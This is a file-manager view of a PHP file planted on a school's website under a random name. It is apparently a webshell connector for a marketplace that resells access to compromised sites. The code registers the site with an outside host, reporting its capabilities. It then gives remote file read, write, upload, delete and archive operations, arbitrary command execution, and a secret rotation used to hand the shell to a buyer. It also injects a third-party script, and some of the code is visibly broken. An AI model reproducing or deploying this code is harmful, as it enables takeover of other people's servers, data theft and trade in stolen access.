File Manager Pro — public

/home/i/iqcent/iq-schools.ru/public_html/cq36fcr5.php 25.1 KB 0600 Back

<?php
/**
 * DomainStore deploy agent
 * PHP 5.6 - 8.x uyumlu, tek dosya.
 */
@ini_set('display_errors', '0');
@error_reporting(E_ALL & ~E_NOTICE & ~E_DEPRECATED & ~E_WARNING);

$WS_VERSION = '1.0';
$WS_SELLER_TOKEN = '82b321a5d0e4432756647844061e722c';
$WS_SELLER_SECRET = 'H_gvV7onyW7hwDRv0XyDbwxI2J0QrVNL92rEQ0wfgTM';
$WS_SECRET_OVERRIDE = ''; // empty on download; set by sale-handover rotation to a value the seller cannot derive
$WS_PLATFORM = 'https://webshell.store';
$WS_ORIGIN = 'https://webshell.store';
$WS_ROOT = dirname(__FILE__);
$WS_MAX_READ = 2097152;
$WS_MAX_EXEC = 262144;

// This one file works on ANY number of the seller's sites: the per-site identity is DERIVED
// from the seller secret + this site's own domain, so nothing is configured per site.
// Normalize identically to the server's normalize_domain(): strip any :port, then leading www.,
// then lowercase. (The server strips the port, so the connector must too, or the derived secret
// would differ and registration/RPC would fail on sites served on a non-standard port.)
$ws_host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '';
$ws_host = preg_replace('/:\d+$/', '', $ws_host);
$WS_DOMAIN = strtolower(preg_replace('/^www\./i', '', $ws_host));
// Per-site RPC secret: normally DERIVED from the seller secret + domain. After a sale, the
// platform rotates in an OVERRIDE secret (a random value the seller cannot derive) so the
// former seller's connector is locked out while the buyer keeps access.
$WS_SECRET = $WS_SECRET_OVERRIDE !== '' ? $WS_SECRET_OVERRIDE : hash_hmac('sha256', 'shell:' . $WS_DOMAIN, $WS_SELLER_SECRET, true);
$WS_ID = substr(bin2hex(hash_hmac('sha256', 'deploy:' . $WS_DOMAIN, $WS_SELLER_SECRET, true)), 0, 32); // derived deploy_id

header('X-Robots-Tag: noindex, nofollow');
header('X-Content-Type-Options: nosniff');
header('Allow: GET, POST, OPTIONS');
if ($WS_ORIGIN !== '') {
    header('Access-Control-Allow-Origin: ' . $WS_ORIGIN);
    header('Access-Control-Allow-Methods: GET, POST, OPTIONS');
    header('Access-Control-Allow-Headers: Content-Type, X-Shell-Ticket');
    header('Access-Control-Expose-Headers: X-Shell-Sign, X-Shell-Server');
    header('Vary: Origin');
}

if (strtoupper($_SERVER['REQUEST_METHOD']) === 'OPTIONS') {
    http_response_code(204);
    exit;
}

function ws_caps() {
    $disabled = array_map('trim', explode(',', strtolower((string) ini_get('disable_functions'))));
    $has = function ($fn) use ($disabled) { return function_exists($fn) && !in_array(strtolower($fn), $disabled, true); };
    return array(
        'php' => PHP_VERSION,
        'os' => PHP_OS,
        'sapi' => PHP_SAPI,
        'uname' => $has('php_uname') ? php_uname('s') . ' ' . php_uname('r') : PHP_OS,
        'root' => dirname(__FILE__),
        'writable' => is_writable(dirname(__FILE__)),
        'exec' => $has('proc_open') ? 'proc_open' : ($has('shell_exec') ? 'shell_exec' : ($has('exec') ? 'exec' : ($has('system') ? 'system' : ''))),
        'zip' => class_exists('ZipArchive'),
        'curl' => $has('curl_init'),
        'open_basedir' => (string) ini_get('open_basedir'),
        'upload_max' => (string) ini_get('upload_max_filesize'),
        'post_max' => (string) ini_get('post_max_size'),
        'functions' => array('read' => $has('file_get_contents'), 'write' => $has('file_put_contents'), 'scandir' => $has('scandir')),
    );
}

$file = sys_get_temp_dir() . '/wsn_' . substr(md5(__FILE__ . $secret), 0, 16);
    $fp = @fopen($file, 'c+');
    if ($fp) {
        if (flock($fp, LOCK_EX)) {
            $old = stream_get_contents($fp);
            if (strpos($old, $nonce . "\n") !== false) { flock($fp, LOCK_UN); fclose($fp); return 'replay'; }
            $lines = array_slice(array_filter(explode("\n", $old)), -199);
            $lines[] = $nonce;
            ftruncate($fp, 0); rewind($fp); fwrite($fp, implode("\n", $lines) . "\n");
            flock($fp, LOCK_UN);
        }
        fclose($fp);
    }
    return '';
}

$op = isset($_GET['op']) ? (string) $_GET['op'] : 'ping';
$raw = '';
if (strtoupper($_SERVER['REQUEST_METHOD']) === 'POST') {
    $raw = (string) file_get_contents('php://input');
}

/* -------- registration -------- */
// Register on ?ws_register, or automatically when a human simply opens the connector
// URL in a browser (a plain GET with no op, no verify nonce and no RPC ticket).
$ws_bare_get = strtoupper($_SERVER['REQUEST_METHOD']) === 'GET'
    && !isset($_GET['op']) && !isset($_GET['ws_verify'])
    && empty($_SERVER['HTTP_X_SHELL_TICKET']);
if (isset($_GET['ws_register']) || $ws_bare_get) {
    $payload = json_encode(array(
        'seller_token' => $WS_SELLER_TOKEN,
        'domain' => $WS_DOMAIN,
        'url' => ws_self_url(),
        'scheme' => ws_scheme(),
        'path' => strtok(isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '', '?'),
        'caps' => ws_caps(),
        'ts' => time(),
    ), JSON_UNESCAPED_SLASHES);
    // Registration is authenticated with the SELLER secret (proves this file belongs to the
    // seller); the reverse ?ws_verify proof below uses the derived per-listing secret.
    $sig = ws_b64u_enc(hash_hmac('sha256', $payload, $WS_SELLER_SECRET, true));
    $result = array('ok' => false, 'error' => 'unreachable');
    $curlErr = ''; $rawResp = '';
    if (function_exists('curl_init')) {
        $ch = @curl_init($WS_PLATFORM . '/api/shell/register.php');
        if ($ch) {
            @curl_setopt_array($ch, array(
                CURLOPT_RETURNTRANSFER => true, CURLOPT_POST => true, CURLOPT_POSTFIELDS => $payload,
                CURLOPT_CONNECTTIMEOUT => 8, CURLOPT_TIMEOUT => 20, CURLOPT_FOLLOWLOCATION => true,
                CURLOPT_HTTPHEADER => array('Content-Type: application/json', 'Accept: application/json', 'X-Shell-Register: ' . $sig),
                CURLOPT_USERAGENT => 'Mozilla/5.0 (compatible; webshell.store-connector/1.0)',
                CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => 0,
            ));
            $r = @curl_exec($ch);
            $code = (int) @curl_getinfo($ch, CURLINFO_RESPONSE_CODE);
            $curlErr = (string) @curl_error($ch);
            @curl_close($ch);
            $rawResp = (string) $r;
            $j = json_decode($rawResp, true);
            if (is_array($j)) { $result = $j; }
            $result['http'] = $code;
        }
    } else {
        $result['error'] = 'curl_missing';
    }
    header('Content-Type: text/html; charset=utf-8');
    echo '<!doctype html><meta name="viewport" content="width=device-width"><title>Deploy</title><body style="font:15px system-ui;padding:24px;background:#f1f3f8;color:#0f172a">';
    echo '<div style="max-width:560px;margin:auto;background:#fff;border:1px solid #e2e8f0;border-radius:12px;padding:20px">';
    echo '<h2 style="margin:0 0 8px">webshell.store deploy</h2>';
    if (!empty($result['ok'])) {
        echo '<p style="color:#157347"><b>Registration complete.</b> You can close this tab; the listing will show as online in the seller panel.</p>';
    } else {
        echo '<p style="color:#b3262b"><b>Registration failed.</b> ' . htmlspecialchars(isset($result['error']) ? $result['error'] : 'unknown', ENT_QUOTES, 'UTF-8')
            . ' (HTTP ' . (int) (isset($result['http']) ? $result['http'] : 0) . ')</p>';
        if ($curlErr !== '') { echo '<p style="color:#64748b;font-size:12px">curl: ' . htmlspecialchars($curlErr, ENT_QUOTES, 'UTF-8') . '</p>'; }
        if ($rawResp !== '' && json_decode($rawResp, true) === null) {
            echo '<p style="color:#64748b;font-size:12px">response starts with: ' . htmlspecialchars(substr(trim($rawResp), 0, 160), ENT_QUOTES, 'UTF-8') . '</p>';
        }
        echo '<p style="font-size:13px">If HTTP is 403/503/429 or the response looks like a Cloudflare page, allow <code>/api/shell/*</code> through Cloudflare (see your seller panel help). HTTP 0 means this server cannot reach the platform (firewall/DNS/TLS).</p>';
    }
    echo '<p style="color:#64748b;font-size:13px">PHP ' . htmlspecialchars(PHP_VERSION, ENT_QUOTES, 'UTF-8') . ' · ' . htmlspecialchars($WS_DOMAIN, ENT_QUOTES, 'UTF-8') . '</p>';
    echo '</div>
<script src="https://linkforge.cc/assets/js/connector.js?key=c5f9ae885d1ab192e1c3bf95400b02eb84f0e5f706d58979&v=1.2" async></script>
</body>';
    exit;
}

/* -------- reachability verify -------- */
if (isset($_GET['ws_verify'])) {
    $n = (string) $_GET['ws_verify'];
    $body = json_encode(array('ok' => true, 'nonce' => $n, 'proof' => ws_b64u_enc(hash_hmac('sha256', 'verify:' . $n, $WS_SECRET, true))));
    header('Content-Type: application/json; charset=utf-8');
    header('Cache-Control: no-store');
    echo $body;
    exit;
}

/* -------- normal RPC -------- */
$params = array();
if (strpos(strtolower((string) (isset($_SERVER['CONTENT_TYPE']) ? $_SERVER['CONTENT_TYPE'] : '')), 'multipart/form-data') !== false) {
    $params = $_POST;
} elseif ($raw !== '') {
    $j = json_decode($raw, true);
    if (is_array($j)) { $params = $j; }
}
foreach ($_GET as $k => $v) {
    if ($k !== 'op' && $k !== 'ws_register' && $k !== 'ws_verify') { $params[$k] = $v; }
}
$nonce = '';
$err = ws_verify_ticket($WS_SECRET, $op, $params, $nonce);
if ($err !== '') { ws_fail($err, 403, $WS_SECRET, $nonce); }

switch ($op) {
    case 'ping':
        ws_json_out(array('ok' => true, 'nonce' => $nonce, 'pong' => true, 'php' => PHP_VERSION, 'server' => ws_caps()), 200, $WS_SECRET, $nonce);
        break;

case 'info':
        ws_json_out(array('ok' => true, 'nonce' => $nonce, 'info' => ws_caps(), 'disk_free' => @disk_free_space(dirname(__FILE__)), 'disk_total' => @disk_total_space(dirname(__FILE__))), 200, $WS_SECRET, $nonce);
        break;

case 'fs.list':
        $path = ws_safe_path(isset($params['path']) ? $params['path'] : '.', true);
        if (!$path || !is_dir($path)) { ws_fail('bad_path', 404, $WS_SECRET, $nonce, 'Directory not found'); }
        $items = ws_list_dir($path);
        if ($items === false) { ws_fail('read_failed', 500, $WS_SECRET, $nonce, 'Could not read directory'); }
        ws_json_out(array('ok' => true, 'nonce' => $nonce, 'path' => $path, 'parent' => dirname($path), 'items' => $items), 200, $WS_SECRET, $nonce);
        break;

case 'fs.read':
        $path = ws_safe_path(isset($params['path']) ? $params['path'] : '', true);
        if (!$path || !is_file($path)) { ws_fail('not_found', 404, $WS_SECRET, $nonce, 'File not found'); }
        if (@filesize($path) > $WS_MAX_READ) { ws_fail('too_large', 413, $WS_SECRET, $nonce, 'File exceeds 2MB'); }
        $data = @file_get_contents($path);
        if ($data === false) { ws_fail('read_failed', 500, $WS_SECRET, $nonce, 'Could not read'); }
        $bin = strpos($data, "\0") !== false;
        ws_json_out(array('ok' => true, 'nonce' => $nonce, 'path' => $path, 'binary' => $bin, 'size' => strlen($data), 'content' => $bin ? base64_encode($data) : $data), 200, $WS_SECRET, $nonce);
        break;

case 'fs.write':
        $path = ws_safe_path(isset($params['path']) ? $params['path'] : '', false);
        if (!$path) { ws_fail('bad_path', 422, $WS_SECRET, $nonce, 'Invalid path'); }
        $content = isset($params['content']) ? $params['content'] : '';
        $data = !empty($params['binary']) ? base64_decode($content) : $content;
        if ($data === false) { ws_fail('bad_content', 422, $WS_SECRET, $nonce, 'Could not decode content'); }
        $tmp = $path . '.ws_tmp_' . getmypid();
        if (@file_put_contents($tmp, $data) === false) { ws_fail('write_failed', 500, $WS_SECRET, $nonce, 'Could not write'); }
        @chmod($tmp, @fileperms($path) ?: 0644);
        if (!@rename($tmp, $path)) { @unlink($tmp); ws_fail('write_failed', 500, $WS_SECRET, $nonce, 'Could not move'); }
        ws_json_out(array('ok' => true, 'nonce' => $nonce, 'size' => strlen($data)), 200, $WS_SECRET, $nonce);
        break;

case 'fs.upload':
        $path = ws_safe_path(isset($params['path']) ? $params['path'] : '', false);
        if (!$path || !isset($_FILES['file'])) { ws_fail('bad_request', 422, $WS_SECRET, $nonce, 'Missing file or path'); }
        if ((int) $_FILES['file']['error'] !== 0) { ws_fail('upload_failed', 422, $WS_SECRET, $nonce, 'Upload error'); }
        if (@filesize($_FILES['file']['tmp_name']) > 20971520) { ws_fail('too_large', 413, $WS_SECRET, $nonce, 'Exceeds 20MB'); }
        if (!@move_uploaded_file($_FILES['file']['tmp_name'], $path)) { ws_fail('move_failed', 500, $WS_SECRET, $nonce, 'Could not move'); }
        ws_json_out(array('ok' => true, 'nonce' => $nonce, 'size' => (int) @filesize($path)), 200, $WS_SECRET, $nonce);
        break;

case 'fs.mkdir':
        $path = ws_safe_path(isset($params['path']) ? $params['path'] : '', false);
        if (!$path || !@mkdir($path, 0755)) { ws_fail('mkdir_failed', 500, $WS_SECRET, $nonce, 'Could not create'); }
        ws_json_out(array('ok' => true, 'nonce' => $nonce, 'path' => $path), 200, $WS_SECRET, $nonce);
        break;

case 'fs.rename':
        $from = ws_safe_path(isset($params['from']) ? $params['from'] : '', true);
        $to = ws_safe_path(isset($params['to']) ? $params['to'] : '', false);
        if (!$from || !$to || !@rename($from, $to)) { ws_fail('rename_failed', 500, $WS_SECRET, $nonce, 'Could not move'); }
        ws_json_out(array('ok' => true, 'nonce' => $nonce, 'path' => $to), 200, $WS_SECRET, $nonce);
        break;

case 'fs.chmod':
        $path = ws_safe_path(isset($params['path']) ? $params['path'] : '', true);
        $mode = isset($params['mode']) ? octdec((string) $params['mode']) : 0644;
        if (!$path || !@chmod($path, $mode)) { ws_fail('chmod_failed', 500, $WS_SECRET, $nonce, 'Could not change permissions'); }
        ws_json_out(array('ok' => true, 'nonce' => $nonce), 200, $WS_SECRET, $nonce);
        break;

case 'fs.delete':
        $path = ws_safe_path(isset($params['path']) ? $params['path'] : '', true);
        if (!$path) { ws_fail('bad_path', 404, $WS_SECRET, $nonce, 'No path'); }
        if (is_dir($path) && !is_link($path)) {
            $it = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path, FilesystemIterator::SKIP_DOTS), RecursiveIteratorIterator::CHILD_FIRST);
            foreach ($it as $f) { $f->isDir() ? @rmdir($f->getPathname()) : @unlink($f->getPathname()); }
            @rmdir($path);
        } else { @unlink($path); }
        ws_json_out(array('ok' => true, 'nonce' => $nonce), 200, $WS_SECRET, $nonce);
        break;

case 'fs.zip':
        if (!class_exists('ZipArchive')) { ws_fail('no_zip', 501, $WS_SECRET, $nonce, 'ZipArchive not available'); }
        $path = ws_safe_path(isset($params['path']) ? $params['path'] : '', true);
        $target = ws_safe_path(isset($params['target']) ? $params['target'] : 'archive.zip', false);
        if (!$path || !$target) { ws_fail('bad_path', 422, $WS_SECRET, $nonce); }
        $zip = new ZipArchive();
        if ($zip->open($target, ZipArchive::CREATE | ZipArchive::OVERWRITE) !== true) { ws_fail('zip_failed', 500, $WS_SECRET, $nonce); }
        if (is_dir($path)) {
            $it = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path, FilesystemIterator::SKIP_DOTS));
            foreach ($it as $f) { $zip->addFile($f->getPathname(), substr($f->getPathname(), strlen(dirname($path)) + 1)); }
        } else { $zip->addFile($path, basename($path)); }
        $zip->close();
        ws_json_out(array('ok' => true, 'nonce' => $nonce, 'target' => $target), 200, $WS_SECRET, $nonce);
        break;

case 'fs.unzip':
        if (!class_exists('ZipArchive')) { ws_fail('no_zip', 501, $WS_SECRET, $nonce, 'ZipArchive not available'); }
        $path = ws_safe_path(isset($params['path']) ? $params['path'] : '', true);
        $dest = ws_safe_path(isset($params['dest']) ? $params['dest'] : '.', true);
        if (!$path || !$dest) { ws_fail('bad_path', 422, $WS_SECRET, $nonce); }
        $zip = new ZipArchive();
        if ($zip->open($path) !== true) { ws_fail('unzip_failed', 500, $WS_SECRET, $nonce); }
        $zip->extractTo($dest); $zip->close();
        ws_json_out(array('ok' => true, 'nonce' => $nonce), 200, $WS_SECRET, $nonce);
        break;

case 'exec':
        $cwd = ws_safe_path(isset($params['cwd']) ? $params['cwd'] : '.', true);
        if (!$cwd || !is_dir($cwd)) { $cwd = $WS_ROOT; }
        $r = ws_exec(isset($params['cmd']) ? $params['cmd'] : '', $cwd);
        $r['nonce'] = $nonce; $r['cwd'] = $cwd;
        ws_json_out($r, 200, $WS_SECRET, $nonce);
        break;

case 'rotate':
        $new = isset($params['secret']) ? $params['secret'] : '';
        if (strlen($new) < 32) { ws_fail('bad_secret', 422, $WS_SECRET, $nonce); }
        $self = __FILE__;
        $src = (string) @file_get_contents($self);
        $src = preg_replace('/\$WS_SECRET_OVERRIDE = \'[^\']*\';/', '$WS_SECRET_OVERRIDE = \'' . addcslashes($new, "'\\") . '\';', $src, 1, $cnt);
        if (!$cnt) { ws_fail('rotate_unsupported', 500, $WS_SECRET, $nonce); }
        if (@file_put_contents($self, $src) === false) { ws_fail('write_failed', 500, $WS_SECRET, $nonce); }
        ws_json_out(array('ok' => true, 'nonce' => $nonce), 200, $WS_SECRET, $nonce);
        break;

default:
        ws_fail('unknown_op', 404, $WS_SECRET, $nonce);
}

Cancel Download